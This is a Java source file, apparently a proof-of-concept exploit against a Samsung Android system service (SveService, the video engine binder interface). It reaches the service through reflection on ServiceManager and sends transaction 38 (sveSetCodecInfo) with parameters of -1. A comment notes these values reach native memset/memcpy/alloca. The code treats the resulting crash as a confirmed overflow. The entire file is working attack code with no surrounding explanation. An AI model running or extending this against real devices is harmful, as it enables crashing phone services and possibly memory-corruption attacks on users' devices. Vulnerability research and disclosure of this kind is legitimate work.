package com.samsung.sve.poc; import android.os.IBinder; import android.os.Parcel; import java.lang.reflect.Method; public class SveServiceExploit { static final String TAG = "SveExploit"; static final String SERVICE_NAME = "SveService"; static final String DESCRIPTOR = "com.sec.sve.ISecVideoEngineService"; static final int CMD = 38; // TRANSACTION_sveSetCodecInfo public static void main(String[] args) throws Exception { IBinder binder = getService(SERVICE_NAME); if (binder == null) { System.out.println("[-] Service not found"); return; } // Phase 1: baseline System.out.println("[*] Phase 1: valid call (1,1,1)..."); int r = call(binder, 1, 1, 1); System.out.println("[+] Returned: " + r); // Phase 2: trigger overflow System.out.println("[*] Phase 2: i106=-1 (0xFFFFFFFF)..."); try { call(binder, -1, -1, -1); } catch (Exception e) { String msg = e.getMessage(); if (msg != null && msg.contains("DeadObject")) System.out.println("[+] SveService CRASHED - overflow confirmed"); else System.out.println("[!] " + e.getClass().getSimpleName() + ": " + msg); } } static IBinder getService(String name) { try { Class sm = Class.forName("android.os.ServiceManager"); Method get = sm.getMethod("getService", String.class); return (IBinder) get.invoke(null, name); } catch (Exception e) { return null; } } static int call(IBinder binder, int s1, int s2, int s3) throws Exception { Parcel data = Parcel.obtain(); Parcel reply = Parcel.obtain(); try { data.writeInterfaceToken(DESCRIPTOR); // 20 int params (i89-i105) + 1 string for (int i = 0; i < 6; i++) data.writeInt(0); data.writeString(""); for (int i = 0; i < 5; i++) data.writeInt(0); data.writeBoolean(false); data.writeInt(0); data.writeBoolean(false); for (int i = 0; i < 5; i++) data.writeInt(0); // 3 byte arrays (1 byte each) data.writeByteArray(new byte[]{0x41}); data.writeByteArray(new byte[]{0x42}); data.writeByteArray(new byte[]{0x43}); // VULNERABLE: sizes passed to native memset/memcpy/alloca data.writeInt(s1); data.writeInt(s2); data.writeInt(s3); binder.transact(CMD, data, reply, 0); reply.readException(); return reply.readInt(); } finally { reply.recycle(); data.recycle(); } } }